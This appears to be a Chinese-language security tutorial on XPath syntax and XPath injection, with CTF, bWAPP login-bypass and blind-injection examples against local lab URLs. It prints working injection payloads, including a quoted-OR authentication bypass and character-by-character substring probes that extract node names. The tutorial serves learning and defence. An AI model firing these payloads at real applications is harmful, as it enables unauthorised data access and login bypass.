XPath简介
XPath 是一门在 XML 文档中查找信息的语言,用于在 XML 文档中通过元素和属性进行导航
XPath语法
XPath中的符号
XPath的数学运算符+ 加号表示加
- 表示数字相减
* 表示乘以
div 表示除以,这里数学上的除号/已经被用作节点之间分隔符了
mod 表示取余
XPath逻辑运算符= 等于
!= 不等于
> 大于
>= 大于等于
< 小于
<= 小于等于
and 并且 与关系
or 或者 或关系
XPath实例
XPath注入
XPath注入攻击概念
XPath注入攻击主要是通过构建特殊的输入,这些输入往往是XPath语法中的一些组合,这些输入将作为参数传入Web 应用程序,通过执行XPath查询而执行入侵者想要的操作
XPath注入产生原因
1.XPath注入利用 XPath 解析器的松散输入和容错特性,能够在 URL、表单或其它信息上附带恶意的 XPath 查询代码,以获得高权限信息的访问权
2.与其他注入类漏洞有相似之处,主要由于系统未对输入内容进行严格校验和检查而产生
XPath注入危害
可以查询获取到系统内部完整的XML文档内容
XPath注入攻击特点以及和普通注入的区别
XPath注入攻击利用两种技术,即XPath扫描和 XPath查询布尔化。通过该攻击,攻击者可以控制用来进行XPath查询的XML数据库。这种攻击可以有效地对付使用XPath查询(和XML数据库) 来执行身份验证、查找或者其它操作。XPath注入攻击同SQL注入攻击类似,但和SQL注入攻击相比较,XPath在以下方面具有优势。
(1)广泛性
XPath注入攻击利用的是XPath语法,由于XPath是一种标准语言,因此只要是利用XPath语法的Web 应用程序如果未对输入的XPath查询做严格的处理都会存在XPath注入漏洞,所以可能在所有的XPath实现中都包含有该弱点,这和SQL注入攻击有 很大区别。在SQL注入攻击过程中根据数据库支持的SQL语言不同,注入攻击的实现可能不同
(2)危害性大
XPath语言几乎可以引用XML文档的所有部分,而这样的引用一般没有访问控制限制。但在SQL注入攻击中,一个“用户”的权限可能被限制到 某一特定的表、列或者查询,而XPath注入攻击可以保证得到完整的XML文档,即完整的数据库。只要Web服务应用具有基本的安全漏洞,即可构造针对 XPath应用的自动攻击
XPath注入实例
一道XPath注入CTF题
输入'报错,根据报错信息得知可能是XPath注入
遍历当前结点下所有的user
但是在这个结点下并不存在flag,那么就考虑遍历所有的结点
|表示连接查询,既会查询前面的也会查询后面的
//*代表所有结点
后面闭合
bwapp中XPath注入实例
看一下源码查询语句$result = $xml->xpath("//hero[contains(genre, '$genre')]/movie");
如果不看源码就需要黑盒去尝试闭合,这里知道了源码就直接进行闭合,效果如下
所有的数据都被放出来了
XPath登录框验证绕过
看一下对应身份认证源码$result = $xml->xpath("/heroes/hero[login='" . $login . "' and password='" . $password . "']");
当输入Username: ghtwf01' or '1' = '1
Password: ghtwf01' or '1' = '1
语句变为$result = $xml->xpath("/heroes/hero[login='ghtwf01' or '1'='1' and password='ghtwf01' or'1'='1']");
就绕过了验证
XPath盲注
xpath盲注适用于攻击者不清楚XML文档的架构,没有错误信息返回,一次只能通过布尔化查询来获取部分信息
Xpath盲注步骤:
1.盲注根节点
利用count(/*)判断根下节点:
如果数目为2会显示错误,说明只存在一个根节点
利用substring分割根节点的每个字符,猜解根节点http://127.0.0.1/xpath/index.php?user=user1' or substring(name(/*[position()=1]),1,1)='r' or '1'='2
http://127.0.0.1/xpath/index.php?user=user1' or substring(name(/*[position()=1]),2,1)='o' or '1'='2
......
最后得到根节点名为root
接下来判断root1下第二级节点
说明root1下有两个节点
判断第一个节点http://127.0.0.1/xpath/index.php?user=user1' or substring(name(/root1/*[position()=1]),1,1)='u' or '1'='2
http://127.0.0.1/xpath/index.php?user=user1' or substring(name(/root1/*[position()=1]),2,1)='s' or '1'='2
......
得出为user
判断第二个节点http://127.0.0.1/xpath/index.php?user=user1' or substring(name(/root1/*[position()=2]),1,1)='h' or '1'='2
http://127.0.0.1/xpath/index.php?user=user1' or substring(name(/root1/*[position()=2]),2,1)='c' or '1'='2
......
得出为hctfadmin
重复上边步骤即可
参考链接